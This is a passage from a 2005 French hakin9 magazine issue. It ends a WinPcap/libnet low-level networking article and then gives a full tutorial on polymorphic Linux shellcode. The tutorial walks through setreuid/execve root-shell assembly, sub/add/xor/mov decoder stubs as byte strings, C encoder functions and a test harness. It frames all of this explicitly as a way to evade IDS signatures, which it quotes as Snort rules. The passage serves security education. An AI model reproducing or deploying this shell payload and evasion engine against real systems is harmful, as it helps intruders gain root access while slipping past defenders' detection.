auth.type = RPCAP_RMTAUTH_PWD;
auth.username = "koyot";
auth.password = "walec4tylkokampi";
/* Trouver les interfaces WinPcap */
if (pcap_fndalldevs_ex
(PCAP_SRC_IF_STRING RC_HOST_NAME, /* rpcap://host:port/ */
&auth, /* Autorisation distante */
&alldevs, /* Liste de périphériques */
errbuf) == -1)
{
fprintf(stderr,"Error in pcap_fndalldevs: %s\n", errbuf);
return -1;
}
/* Écrire la liste des interfaces */
for(d=alldevs; d; d=d->next)
{
printf("%d.\t%s", ++i, d->name);
if (d->description)
printf("\n\t\t(%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* Libérer les ressources réseau */
pcap_freealldevs(alldevs);
return -1;
}
/* Sauter au périphérique réseau sélectionné */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* Ouvrir le périphérique réseau */
if ( (fp=pcap_open(d->name, /* Nom du périphérique */
100, /* Taille des données interceptées */
PCAP_OPENFLAG_PROMISCUOUS, /* drapeaux */
20, /* Le temps après lequel le timeout aura lieu */
&auth, /* Autorisation distante */
errbuf)
) == NULL)
{
fprintf(stderr,"\nError opening adapter\n");
pcap_freealldevs(alldevs);
return -1;
}
Accès de bas niveau au réseau
hakin9 Nº 6/2005 www.hakin9.org 65
libnet_t * libnet_init
(int injection_type,
char *device,
char *err_buf)
La fonction initialisant retourne le
pointeur à ce que l’on appelle con-
texte du périphérique qui est exploité
dans les autres fonctions de libnet.
Pour fermer ce contexte, on utilise la
fonction libnet _ destroy(), qui libère
aussitôt les ressources allouées.
void libnet_destroy
( libnet_t * l )
La bibliothèque libnet peut exploiter
aussi bien les sockets bruts que les
fonctionnalités fournies par WinPcap
– et plus précisément l’API con-
forme à libpcap. Pour déterminer la
couche à laquelle l'on veut envoyer
les paquets, on dispose du paramè-
tre injection _ type de la fonction
libnet _ init(). Toutes les valeurs
possibles apparaissent comme
paires dont l'une se termine par le
suffxe _ ADV. Il permet d'utiliser des
fonctions supplémentaires inacces-
sibles pour une interface ouverte
en mode ordinaire, telles que, par
exemple, l'accès aux tampons utilisés
pour stocker les paquets construits.
Construction du paquet
Libnet permet la création de plusieurs
en-têtes de différents protocoles. La
construction d'un paquet se fait à
partir la couche inférieure. C'est
l'ordre des appels qui compte – par
exemple, tout d'abord TCP, ensuite
IP, et à la fn Ethernet. La bibliothèque
numérote chaque en-tête à l'aide de
la variable de type libnet _ ptag _ t
(étant en fait la variable int32 _ t) ;
à la couche supérieure (p.ex. TCP),
le numéro 1 est affecté, et à l'infé-
rieure – 3 (en cas des en-têtes TCP,
Listing 7. Le lancement de l'interception des paquets en mode actif
pcap_if_t *alldevs,*d;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE+1];
int i=0,inum=0;
struct pcap_rmtauth auth;
SOCKET retval;
char connectingHost[RPCAP_HOSTLIST_SIZE];
/* Confgurer le mode d'autorisation utilisant
le nom et mot de passe utilisateur */
auth.type = RPCAP_RMTAUTH_PWD;
auth.username = "user";
auth.password = "adumbpassword";
/* Attendre la connexion de l'hôte distant à nous */
while ( (retval = pcap_remoteact_accept(
NULL,/* Écouter sur tous les ports possibles */
NULL,/* Utiliser le port par défaut */
NULL,/* Pas de liste d'ordinateurs pouvant se connecter */
connectingHost, &auth, errbuf ) ) == -1)
{
fprintf(stderr,"Connection to host: %s cannot be established: %s\n",
connectingHost, errbuf);
Sleep(1000);
}
if (retval < 0 )
{
fprintf(stderr,"Error in pcap_remoteact_accept():%s\n", errbuf);
return -1;
}
/* Préparer 'connection string' – rpcap://host
** à l'aide de la fonction de bibliothèque */
char remstring[PCAP_BUF_SIZE];
ZeroMemory(remstring,PCAP_BUF_SIZE);
if ( pcap_createsrcstr(remstring, /* tampon du connection string*/
PCAP_SRC_IFREMOTE, /* ce qui nous intéresse, c'est l'interface distante */
connectingHost, /* l'adresse de l'hôte auquel nous sommes connectés */
NULL, /* port par défaut */
NULL, /* nous ne connaissons pas encore le nom de l'interface */
errbuf) == -1 )
{
fprintf(stderr,"Error in pcap_createsrcstr: %s\n", errbuf);
return -1;
}
/* Trouver les interfaces WinPcap */
if (pcap_fndalldevs_ex(remstring, /* rpcap://host:port/ */
&auth, /* Autorisation distante */
&alldevs, /* Liste de périphériques */
errbuf) == -1)
{
fprintf(stderr,"Error in pcap_fndalldevs: %s\n", errbuf);
return -1;
}
Exemple pratique
hakin9.live contient un exemple pra-
tique de l'utilisation des bibliothèques
WinPcap et libnet. L'exemple est basé
sur les principes suivants :
Un réseau local LAN se compose
de dix ordinateurs. Admettez que vous
n'avez pas d’accès direct au routeur
avec les droits d'administration (disons
que l'administrateur est partie en va-
cances), et vous avez constaté qu'un
ordinateur a été connecté au réseau
d'une façon illégale. Il n'y a pas de
moyen d'en informer l'administrateur,
et le réseau n'est pas protégé contre
de telles situations (le pare-feu laisse
passer tous ce qui provient du réseau
local – aucune liste d'accès n'a été
défnie). Pour bloquer à l'intrus l'ac-
cès au réseau, vous avez inventé un
programme qui envoie à celui-ci de
fausses réponses ARP avec des liens
MAC<->IP incorrects.
hakin9 Nº 6/2005 www.hakin9.org
Programmation
66
IP, Ethernet). Si en argument de la
fonction de construction on passe 0,
l'en-tête sera construit de nouveau.
Dans le cas contraire, une partie du
paquet défnie par la variable de type
libnet _ ptag _ t sera remplacée.
Une fois le paquet construit, il est en-
voyé par la fonction libnet _ write().
Pas si compliqué
Comme vous voyez, l'utilisation des
bibliothèques WinPcap et libnet
n'est pas diffcile et offre de vastes
possibilités. Nous vous invitons
à prendre connaissance de la do-
cumentation des paquets et de les
utiliser dans tous les programmes
nécessitant l'accès au réseau de
bas niveau. l
Tableau 2. Les arguments possibles pour le paramètre injection_type de la
fonction libnet_init
Valeur de l'argument Description
LIBNET_LINK, LIBNET_LINK_ADV
Construction des paquets à partir
de la couche de liaison de données.
LIBNET_RAW4, LIBNET_RAW4_ADV
Pour envoyer les paquets, utilise les
sockets bruts IPv4.
LIBNET_RAW6, LIBNET_RAW6_ADV
Pour envoyer les paquets, utilise les
sockets bruts IPv6.
Tableau 3. Les fonctions les plus
importantes composant un paquet
Les plus importantes
fonctions libnet composant
un paquet
libnet _ ptag _ t
libnet _ build _ tcp _ options
(u _ int8 _ t *options, u _ int32 _
t options _ s, libnet _ t *l,
libnet _ ptag _ t ptag)
libnet _ ptag _ t
libnet _ build _ tcp (u _ int16 _ t
sp, u _ int16 _ t dp, u _ int32 _ t
seq, u _ int32 _ t ack, u _ int8 _
t control, u _ int16 _ t win,
u _ int16 _ t sum, u _ int16 _ t
urg, u _ int16 _ t len, u _ int8 _ t
*payload, u _ int32 _ t payload _ s,
libnet _ t *l, libnet _ ptag _ t
ptag)
libnet _ ptag _ t
libnet _ build _ udp (u _ int16 _ t
sp, u _ int16 _ t dp, u _ int16 _ t
len, u _ int16 _ t sum, u _ int8 _ t
*payload, u _ int32 _ t payload _ s,
libnet _ t *l, libnet _ ptag _ t
ptag)
libnet _ ptag _ t
libnet _ build _ ipv4 (u _ int16 _ t
len, u _ int8 _ t tos, u _ int16 _ t
id, u _ int16 _ t frag, u _ int8 _ t
ttl, u _ int8 _ t prot, u _ int16 _ t
sum, u _ int32 _ t src, u _ int32 _
t dst, u _ int8 _ t *payload,
u _ int32 _ t payload _ s, libnet _ t
*l, libnet _ ptag _ t ptag)
libnet _ ptag _ t
libnet _ build _ arp (u _ int16 _ t
hrd, u _ int16 _ t pro, u _ int8 _ t
hln, u _ int8 _ t pln, u _ int16 _ t
op, u _ int8 _ t *sha, u _ int8 _ t
*spa, u _ int8 _ t *tha, u _ int8 _
t *tpa, u _ int8 _ t *payload,
u _ int32 _ t payload _ s, libnet _ t
*l, libnet _ ptag _ t ptag)
libnet _ ptag _ t
libnet _ build _ ethernet (u _
int8 _ t *dst, u _ int8 _ t *src,
u _ int16 _ t type, u _ int8 _ t
*payload, u _ int32 _ t payload _ s,
libnet _ t *l, libnet _ ptag _ t
ptag)
À propos de l’auteur
Konrad Malewski a terminé les études
en informatique, il s'occupe de l'admi-
nistration de plusieurs réseaux. Il est
spécialiste en programmation et en
sécurité des systèmes réseau.
Sur Internet
• http://www.winpcap.org/ – le site du projet WinPcap,
• http://www.packetfactory.net/ – le site du paquet libnet et d'autres outils réseau
tels que libnet, ngrep, ISIC et autres,
• http://www.ethereal.com/ – le site de l'analyseur des protocoles réeau Ethereal,
• http://www.oxid.it/ – beaucoup de programmes utilisant WinPcap,
• http://webteca.altervista.org/dsniff.htm – l'implémentation du paquet dsniff sous
Win32,
• http://www.insecure.org/ – le scanneur réseau Nmap,
• http://msdn.microsoft.com/library/default.asp?url=/library/en-us/randz/protocol/
tcp_ip_stack_architecture.asp – l'architecture de la pile TCP/IP sous Windows.
Terminologie
• NDIS – (en anglais Network Driver Interface Specifcation) – L'API de bas niveau
défnissant les formes des fonctions exportées par les pilotes des cartes réseau, les
fltres et les pilotes des protocoles (p.ex. MS TCP/IP),
• TDI – (en anglais Transport Driver Interface) – les pilotes donnant accès à l'inter-
face TDI fonctionnent et donne accès à son interface ainsi qu’aux bibliothèques
opérant en mode utilisateur. Autrement dit, c'est un intermédiaire entre le client TDI
(p. ex. WINSOCK) et le pilote de bas niveau NDIS,
• MAC – (en anglais Medium Access Control) – cet acronyme peut est compris
de deux manières : en tant que couche ISO/OSI ou en tant qu’adresse de la
carte réseau de 48 bits. Les deux notions sont étroitement liées l'une à l'autre. La
couche MAC contient un en-tête (p. ex. ethernet) qui est composé des adresses
MAC. Chaque adresse MAC est affectée à une carte réseau et doit être unique à
l’intérieur du réseau local. À présent, la plupart des cartes réseau et des systèmes
d'exploitation offrent la possibilité de modifer l'adresse MAC de la carte réseau,
• Sniffeur – un programme dont la tâche consiste à intercepter des données traver-
sant le réseau. Les sniffeurs sont souvent dotés de fonctions auxiliaires permettant
l'analyse, le fltrage ou le déchiffrage. Par défaut, la carte réseau transmet au systè-
me d'exploitation uniquement des trames qui lui sont adressées (le champ adresse
MAC cible de la trame Ethernet continent l'adresse physique de la carte réseau). Le
Sniffeur peut mettre la carte réseau en mode promiscuous et intercepter aussi les
trames dont l'adresse cible est différente de l'adresse MAC de la carte réseau.
www.hakin9.org hakin9 Nº 6/2005 68
Programmation
L
orsque vous réalisez une attaque contre
un service réseau, il y a toujours un risque
que vous soyez repéré par un système de
détection d'intrusions (en anglais Intrusion De-
tection System – IDS) et que malgré la réussite
de l'attaque, l'administrateur vous identife vite et
qu'il vous déconnecte du réseau attaqué. C'est
incontournable car la plupart des shellcodes ont
une structure similaire, utilisent les mêmes ap-
pels système et les instructions assembleur et il
est donc facile de créer pour ces shellcodes des
signatures universelles.
La solution partielle à ce problème est la
création de shellcode polymorphique qui n'aura
pas les caractéristiques propres aux shellcodes
typiques, mais qui réalisera en même temps
les mêmes fonctionnalités. Cela peut paraître
diffcile à réaliser, mais si vous arrivez à maîtri-
ser la structure du shellcode lui-même, cela ne
vous posera aucun problème. Tout comme dans
l'article Optimisation des shellcodes dans Linux
publié dans hakin9 5/2005, votre point de départ
sera la plateforme x86 de 32 bits, le système
Linux avec le noyau de la série 2.4 (tous les
exemples fonctionnent également dans les sys-
tèmes dotés de noyau de la série 2.6) et les outils
Netwide Assembler (nasm) et hexdump.
Pour ne pas commencer dès le début, uti-
lisez trois logiciels créés au préalable. Prenez
comme exemple deux shellcodes write4.asm et
shell4.asm. Leurs codes source sont présentés
sur les Listings 1 et 2 et la méthode pour les con-
vertir en code assembleur est démontrée sur les
Figures 1 et 2. Pour tester vos shellcodes, utilisez
le logiciel test.c présenté sur le Listing 3.
Shellcode développé
Votre objectif est d'écrire un code constitué des
deux éléments suivants : la fonction de décodeur
et le shellcode encodé. Après avoir lancé le code
et après s'être retrouvé dans la mémoire tampon
Créer un shellcode
polymorphique
Michał Piotrowski
Degré de diffculté
Grâce à l'article publié dans le numéro précédent de hakin9,
vous avez appris à créer et modifer le shellcode. Vous avez eu
également l'occasion de connaître les problèmes de base liés à sa
structure et les techniques permettant de les contourner. Grâce
à cet article, vous allez apprendre ce qu'est le polymorphisme
et comment écrire les shellcodes non identifables par les
systèmes IDS.
Cet article explique...
• comment écrire un shellcode polymorphique,
• comment créer un programme donnant aux
shellcodes les traits polymorphiques.
Ce qu'il faut savoir...
• vous devez savoir utiliser le système Linux,
• vous devez connaître les règles de program-
mation en C et en assembler.
Shellcode polymorphique
hakin9 Nº 6/2005 www.hakin9.org 69
dans un logiciel vulnérable, la fonction
de décodeur décode tout d'abord le
shellcode approprié, puis elle lui trans-
fère la gestion. La structure du shell-
code développé est présentée sur la
Figure 3 et la Figure 4 représente les
étapes données de son fonctionne-
ment.
Décodeur
La tâche du décodeur est de décoder
le shellcode. Il existe divers moyens
permettant d'y parvenir mais quatre
méthodes utilisant les instructions
assembleur de base sont utilisées le
plus souvent :
• la soustraction (l'instruction sub)
– les valeurs numériques don-
nées sont soustraites des octets
du shellcode encodé,
• l'ajout (instruction add) – les valeurs
numériques données sont ajoutées
aux octets donnés du shellcode,
• la différence symétrique (l'ins-
truction xor) – les octets donnés
du shellcode sont soumis à l'opé-
ration de différence symétrique
avec une valeur défnie,
Polymorphisme
Le mot polymorphisme vient du grec et signife plusieurs formes. Ce terme a été
employé en informatique pour la première fois par un pirate bulgare portant le
pseudonyme Dark Avenger, ce dernier ayant créé en 1992 le premier virus polymor-
phique. L'objectif du code polymorphique est d'éviter la détection tout en s'adaptant
aux modèles, c'est-à-dire à certains traits caractéristiques permettant d'identifer un
code donné. La technique de détection des modèles est utilisée dans les logiciels
antivirus et dans les systèmes de détection des intrusions.
L'encodage est un mécanisme le plus souvent utilisé pour intégrer le polymor-
phisme dans le code des logiciels informatiques. Le code approprié, exécutant les
fonctions principales du logiciel est encodé et une fonction de plus est ajoutée au
logiciel, dont la seule tâche est d'encoder et de lancer le code original.
Signatures
Un élément clé pour tous les systèmes réseau de détection d'intrusions (en anglais
Network Intrusion Detection System – NIDS) est la base de signatures, à savoir un
ensemble de caractéristiques pour une attaque donnée ou un type d'attaques. Le sys-
tème NIDS intercepte tous les paquets envoyés à travers le réseau et il essaye de les
comparer à une des signatures disponibles. Dès qu'il réussit, une alerte est déclenchée.
Les systèmes plus avancés sont également capables de confgurer le pare-feu de sorte
qu'il n'autorise pas l'entrée du trafc venant de l'adresse IP appartenant à l'intrus.
Ci-dessous, vous trouverez trois exemples de signatures pour le logiciel Snort
permettant d'identifer la plupart des shellcodes typiques pour les systèmes Linux. La
première d'entre elles détecte la fonction setuid (les octets B0 17 CD 80), la deuxième
la chaîne de caractères /bin/sh et la troisième le piège NOP :
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE x86 setuid 0"; content:"|B0 17 CD 80|";
reference:arachnids,436; classtype:system-call-detect;
sid:650; rev:8;)
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE Linux shellcode";
content:"|90 90 90 E8 C0 FF FF FF|/bin/sh";
reference:arachnids,343; classtype:shellcode-detect;
sid:652; rev:9;)
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any
(msg:"SHELLCODE x86 NOOP"; content:"aaaaaaaaaaaaaaaaaaaaa";
classtype:shellcode-detect; sid:1394; rev:5;)
Il est beaucoup plus diffcile aux systèmes IDS de noter la présence de code polymorphi-
que que celle du shellcode typique, mais il ne faut pas oublier que le polymorphisme ne
résout pas tous les problèmes. La plupart des systèmes contemporains de détection d'in-
trusions utilisent, outre les signatures, des techniques plus ou moins avancées permettant
de détecter également le shellcode encodé. Les plus connues parmi elles sont l'identifca-
tion de la chaîne NOP, la détection des fonctions du décodeur et l'émulation du code.
Listing 1. Fichier write4.asm
1: BITS 32
2:
3: ; write(1,"hello, world!",14)
4: push word 0x0a21
5: push 0x646c726f
6: push 0x77202c6f
7: push 0x6c6c6568
8: mov ecx, esp
9: push byte 4
10: pop eax
11: push byte 1
12: pop ebx
13: push byte 14
14: pop edx
15: int 0x80
16:
17: ; exit(0)
18: mov eax, ebx
19: xor ebx, ebx
20: int 0x80
Listing 2. Fichier shell4.asm
1: BITS 32
2:
3: ; setreuid(0, 0)
4: push byte 70
5: pop eax
6: xor ebx, ebx
7: xor ecx, ecx
8: int 0x80
9:
10: ; execve("/bin//sh",
["/bin//sh", NULL], NULL)
11: xor eax, eax
12: push eax
13: push 0x68732f2f
14: push 0x6e69622f
15: mov ebx, esp
16: push eax
17: push ebx
18: mov ecx, esp
19: cdq
20: mov al, 11
21: int 0x80
Listing 3. Fichier test.c
char shellcode[]="";
main() {
int (*shell)();
(int)shell = shellcode;
shell();
}
hakin9 Nº 6/2005 www.hakin9.org
Programmation
70
• le déplacement (l'instruction mov)
– les octets donnés du shellcode
sont échangés les uns contre les
autres.
Le Listing 4 représente le code sour-
ce du décodeur utilisant l'instruction
de soustraction. Essayez d'examiner
de près son fonctionnement. Com-
mencez par la troisième ligne du
code source et à l'endroit repéré
comme three. Vous y trouverez l'ins-
truction call transférant l'exécution
du logiciel vers l'endroit one et met-
tant en même temps sur la pile la
valeur de l'adresse de l'instruction
suivante. Grâce à cela, l'adresse de
l'instruction four se trouvant après
le code du décodeur sera mise sur
la pile – dans votre cas, ce sera le
début du shellcode encodé.
Dans la sixième ligne, enlevez
cette adresse de la pile et mettez-la
dans le registre ESI, réglez à zéro
le registre ECX (ligne 7) et insérez-y
(ligne 8) un nombre de 1 octet défnis-
sant la longueur du shellcode encodé.
Pour l'instant, la valeur est 0 mais cela
changera plus tard. Entre les lignes
10 et 14, il y a une boucle qui s'exécu-
tera autant de fois que le nombre des
octets se trouvant dans le shellcode
encodé. Dans les itérations suivantes,
le nombre mis dans le registre ECX
sera diminué de 1 (l'instruction sub
cl, 1 dans la ligne 12) et la boucle
cessera de fonctionner lorsque cette
valeur sera égale à zéro. L'instruction
jnz two (Jump if Not Zero) sautera au
début de la boucle repéré comme two
jusqu'à ce que le résultat de soustrac-
tion ne soit pas égal à zéro.
Dans la ligne 11, il y a l'instruction
proprement dite décodant le shellco-
de – elle soustrait le zéro des octets
suivants du shellcode (en regardant
en arrière). Bien sûr, la soustraction
Figure 1. Shellcode write4
Figure 2. Shellcode shell4
Figure 3. Structure du code
polymorphique
Figure 4. Étapes de fonctionnement
du code polymorphique
Listing 4. Fichier decode_
sub.asm
1: BITS 32
2:
3: jmp short three
4:
5: one:
6: pop esi
7: xor ecx, ecx
8: mov cl, 0
9:
10: two:
11: sub byte [esi + ecx - 1], 0
12: sub cl, 1
13: jnz two
14: jmp short four
15:
16: three:
17: call one
18:
19: four:
Figure 5. Compilation du décodeur decode_sub.asm
Shellcode polymorphique
hakin9 Nº 6/2005 www.hakin9.org 71
du zéro n'a pas de sens, mais vous
vous en occuperez dans la partie
suivante de l'article. Dès que tout le
code retrouvera sa forme originale,
le décodeur saute (ligne 14) au début
du code, ce qui permet aux instruc-
tions s'y trouvant de s'exécuter.
La compilation du code décodeur
se déroule de la même manière
que la compilation du shellcode, ce
qui est représenté sur la Figure 5.
Comme vous pouvez le constater,
il y a dans le code deux octets zéro
correspondant aux zéros dans les
lignes 8 et 11 du code source du pro-
gramme decode_sub.asm. Vous les
remplacerez par les valeurs correc-
tes (non zéro) lorsque vous allez lier
le décodeur au shellcode encodé.
Encoder le shellcode
Vous avez déjà la fonction de décoda-
ge et il vous manque encore le shell-
code encodé. Vous avez également
les shellcodes– write4 et shell4. Il faut
donc les convertir au format pouvant
coopérer avec le décodeur. Il est
possible de le faire manuellement en
ajoutant à chaque octet du code une
valeur choisie, mais une telle solution
est peu effcace et manque de sou-
plesse à l'usage . Au lieu de cela, uti-
lisez un nouveau programme nommé
encode1.c visible sur le Listing 5.
À chaque octet de la variable de
caractères shellcode, il ajoute la va-
leur défnie dans la variable offset.
Dans ce cas, modifez le shellcode
write4 en incrémentant chaque octet
de 1. La compilation du programme
et le résultat obtenu sont présentés
sur la Figure 6. Si vous comparez
maintenant le shellcode original avec
celui encodé, vous noterez qu'ils
diffèrent de 1. En outre, le code que
vous avez obtenu, résultant du fonc-
tionnement du programme encode1,
ne contient pas les octets zéro (0x00)
– et de même, il peut être inséré dans
un programme vulnérable au débor-
dement de la mémoire tampon.
Lier le décodeur au code
Vous avez maintenant le décodeur et
le shellcode encodé. Il ne vous reste
qu'à les assembler et à vérifer si tout
fonctionne correctement. Insérez-le
tout dans la variable shellcode du
programme test.c (Listing 6) tout en
remplaçant les deux octets zéro se
trouvant dans le code décodeur par
la valeur \x26 (la longueur du code
encodé est de 38 octets – 26 dans le
système hexadécimal) et \x01 (pour
obtenir un shellcode original, il faut
diminuer de 1 la valeur de chaque oc-
tet). Comme vous pouvez le voir sur la
Listing 5. Fichier encode1.c
#include <stdio.h>
char shellcode[] =
"\x66\x68\x21\x0a\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x68"
"\x65\x6c\x6c\x89\xe1\x6a\x04\x58\x6a\x01\x5b\x6a\x0e\x5a\xcd\x80"
"\x89\xd8\x31\xdb\xcd\x80";
int main() {
char *encode;
int shellcode_len, encode_len;
int count, i, l = 16;
int offset = 1;
shellcode_len = strlen(shellcode);
encode = (char *) malloc(shellcode_len);
for (count = 0; count < shellcode_len; count++)
encode[count] = shellcode[count] + offset;
printf("Encoded shellcode (%d bytes long):\n", strlen(encode));
printf("char shellcode[] =\n");
for (i = 0; i < strlen(encode); ++i) {
if (l >= 16) {
if (i) printf("\"\n");
printf("\t\"");
l = 0;
}
++l;
printf("\\x%02x", ((unsigned char *)encode)[i]);
}
printf("\";\n");
free(encode);
return 0;
}
Figure 6. Compilation et fonctionnement du programme encode1.c
Listing 6. Version modifée du fchier test.c
char shellcode[] =
//decoder - decode_sub
"\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
//encoded shellcode - write4
"\x67\x69\x22\x0b\x69\x70\x73\x6d\x65\x69\x70\x2d\x21\x78\x69\x69"
"\x66\x6d\x6d\x8a\xe2\x6b\x05\x59\x6b\x02\x5c\x6b\x0f\x5b\xce\x81"
"\x8a\xd9\x32\xdc\xce\x81";
main() {
int (*shell)();
(int)shell = shellcode;
shell();
}
hakin9 Nº 6/2005 www.hakin9.org
Programmation
72
Figure 7, votre nouveau shellcode po-
lymorphique fonctionne bien – le shell-
code original est décodé et il affche le
message sur la sortie standard.
Créer un moteur
A présent, vous savez donner aux
shellcodes les caractéristiques poly-
morphiques et les masquer ainsi aux
systèmes de détection d'intrusions.
Essayez alors d'écrire un program-
me simple permettant d'automatiser
tout le processus – à l'entrée, il
acceptera le shellcode en version
originale, il l'encodera et il ajoutera
un décodeur adéquat.
Commencez par créer les déco-
deurs utilisant les instructions add, xor
et mov. Nommez-les respectivement
decode _ add, decode _ xor et decode _
mov. Comme les codes source des
fonctions decode _ add et decode _ xor
diffèrent de la fonction decode _ sub
créée au préalable seulement par
l'instruction disponible dans la ligne 11,
vous n'allez pas les présenter dans
leur totalité. Il sufft que la ligne 11 soit
remplacée par add byte [esi + ecx
- 1], 0 (pour decode _ add) ou par xor
byte [esi + ecx - 1], 0 (pour decode _
xor). Le code source decode _ mov
(voyez le Listing 7) est un peu différent
et il utilise quatre instructions mov qui
échangent les places de tous les deux
octets voisins. Compilez les codes
pour obtenir les programmes montrés
sur la Figure 8. Transformez-les alors
en variables de caractères et insérez
dans le fchier source de votre moteur
encodee.c (Listing 8).
Fonctions d'encodage
Il est temps maintenant de créer
quatre fonctions qui chargeront le
shellcode en version originale et qui
l'encoderont. Nommez-les respecti-
vement : encode _ sub, encode _ add,
encode _ xor et encode _ mov. Les trois
premières fonctions prennent comme
arguments le pointeur vers le shellco-
de que vous voulez encoder et la clé
sous la forme de la valeur de dépla-
Figure 7. Vérifer le fonctionnement du code polymorphique
Listing 7. Fichier decode_
mov.asm
1: BITS 32
2:
3: jmp short three
4:
5: one:
6: pop esi
7: xor eax, eax
8: xor ebx, ebx
9: xor ecx, ecx
10: mov cl, 0
11:
12: two:
13: mov byte al, [esi + ecx - 1]
14: mov byte bl, [esi + ecx - 2]
15: mov byte [esi + ecx - 1], bl
16: mov byte [esi + ecx - 2], al
17: sub cl, 2
18: jnz two
19: jmp short four
20:
21: three:
22: call one
23:
24: four:
Listing 8. Défnition des décodeurs
char decode_sub[] =
"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode_add[] =
"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x44\x0e\xff\x00\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode_xor[] =
"\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x74\x0e\xff\x00\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char decode_mov[] =
"\xeb\x20\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x00\x8a\x44\x0e\xff\x8a"
"\x5c\x0e\xfe\x88\x5c\x0e\xff\x88\x44\x0e\xfe\x80\xe9\x02\x75\xeb"
"\xeb\x05\xe8\xdb\xff\xff\xff";
Figure 8. Décodeurs add, xor et mov
Shellcode polymorphique
hakin9 Nº 6/2005 www.hakin9.org 73
hakin9 Nº 6/2005 www.hakin9.org
Programmation
74
cement et elles retournent un pointeur
vers un code nouvellement créé. Si
lors de l'encodage, un octet zéro ap-
paraît dans le shellcode résultant, les
fonctions cesseront de fonctionner et
elles retourneront la valeur NULL.
La fonction encode _ mov prenant
seulement un argument (le shell-
code) et changeant la place de tous
les deux octets voisins se présente
d'une autre manière. Pour éviter les
erreurs liées à la modifcation du
code à un nombre impair d'octets, la
fonction vérife la longueur du shell-
code et si nécessaire, échange le
dernier octet contre l'instruction NOP
(0x90). Grâce à cela, la longueur du
code sera toujours la multiplicité de 2.
Toutes les quatre fonctions sont pré-
sentées sur le Listing 9.
Fonctions liant le décodeur au
code encodé
Pour lier le code décodeur au shell-
code encodé, utilisez l'une de quatre
fonctions disponibles. Ce sont : add _
sub _ decoder, add _ add _ decoder,
add _ xor _ decoder et add _ mov _
decoder. Chacune d'entre elles mo-
dife le décodeur dans une variable
appropriée de sorte à remplacer les
endroits zéro s'y trouvant par la lon-
gueur du code encodé et la valeur
de déplacement. Ensuite, elle lie le
décodeur au code encodé chargé en
tant qu'argument, puis elle retourne le
pointeur vers le code polymorphique
tout prêt. Le Listing 10 représente
l'une de ces fonctions – les autres font
partie du fchier encodee.c disponible
dans hakin9.live.
Fonctions d'aide et la fonction
principale
Vous avez encore besoin de quel-
ques fonctions d'aide permettant
de faciliter l'utilisation du pro-
gramme. La plus importante s'ap-
pelle get _ shellcode, elle charge le
shellcode original depuis un fchier
défni comme argument. La deuxiè-
me, print _ code, affche le shellcode
sous la forme formatée, prête à être
insérée dans un exploit ou dans le
programme test.c. Les deux der-
nières fonctions s'appellent usage et
getoffset – la première affche la mé-
Listing 9. Fonctions d'encodage
char *encode_sub(char *scode, int offset) {
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode_len);
for (i = 0; i < scode_len; i++) {
ecode[i] = scode[i] + offset;
if (ecode[i] == '\0') {
free(ecode);
ecode = NULL;
break;
}
}
return ecode;
}
char *encode_add(char *scode, int offset) {
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode_len);
for (i = 0; i < scode_len; i++) {
ecode[i] = scode[i] - offset;
if (ecode[i] == '\0') {
free(ecode);
ecode = NULL;
break;
}
}
return ecode;
}
char *encode_xor(char *scode, int offset) {
char *ecode = NULL;
int scode_len = strlen(scode);
int i;
ecode = (char *) malloc(scode_len);
for (i = 0; i < scode_len; i++) {
ecode[i] = scode[i] ^ offset;
if (ecode[i] == '\0') {
free(ecode);
ecode = NULL;
break;
}
}
return ecode;
}
char *encode_mov(char *scode) {
char *ecode = NULL;
int scode_len = strlen(scode);
int ecode_len = scode_len;
int i;
if ((i = scode_len % 2) > 0)
ecode_len++;
ecode = (char *) malloc(ecode_len);
for (i = 0; i < scode_len; i += 2) {
if (i + 1 == scode_len)
ecode[i] = 0x90;
else
ecode[i] = scode[i + 1];
ecode[i + 1] = scode[i];
}
return ecode;
}
Shellcode polymorphique
hakin9 Nº 6/2005 www.hakin9.org 75
hakin9 Nº 6/2005 www.hakin9.org
Programmation
76
thode de démarrage du programme
et la seconde tire un nombre utilisé
en tant que déplacement (si l'utili-
sateur ne le défnit pas). Le code
de ces fonctions est présenté dans
le fchier encodee.c disponible dans
hakin9.live.
Mettez ensemble tous les élé-
ments du programme en utilisant la
fonction main (voir le fchier encodee.c
dans hakin9.live). Celle-ci est très
simple – tout d'abord, elle vérife les
paramètres avec lesquels le program-
me a été démarré, puis elle charge le
shellcode depuis un fchier indiqué,
elle encode à l'aide de la fonction
choisie, ajoute le décodeur et imprime
le tout sur la sortie standard.
Tester le programme
Vérifez maintenant si votre pro-
gramme fonctionne correctement.
Pour cela, créez un shellcode à base
du code write4 encodé via l'instruc-
tion add et le déplacement égal à 15
(Figure 9). Insérez-le ensuite dans le
programme test et vérifez son fonc-
tionnement (Figure 10).
Conclusion
Vous connaissez maintenant les mé-
thodes permettant de générer des
shellcodes polymorphiques et vous
avez réussi à écrire un programme
automatisant tout le processus. Bien
sûr, cela reste un programme très sim-
ple qui n'utilise que quatre décodeurs
les plus communs mais il peut être un
point de référence pour vos propres
études et expérimentations. l
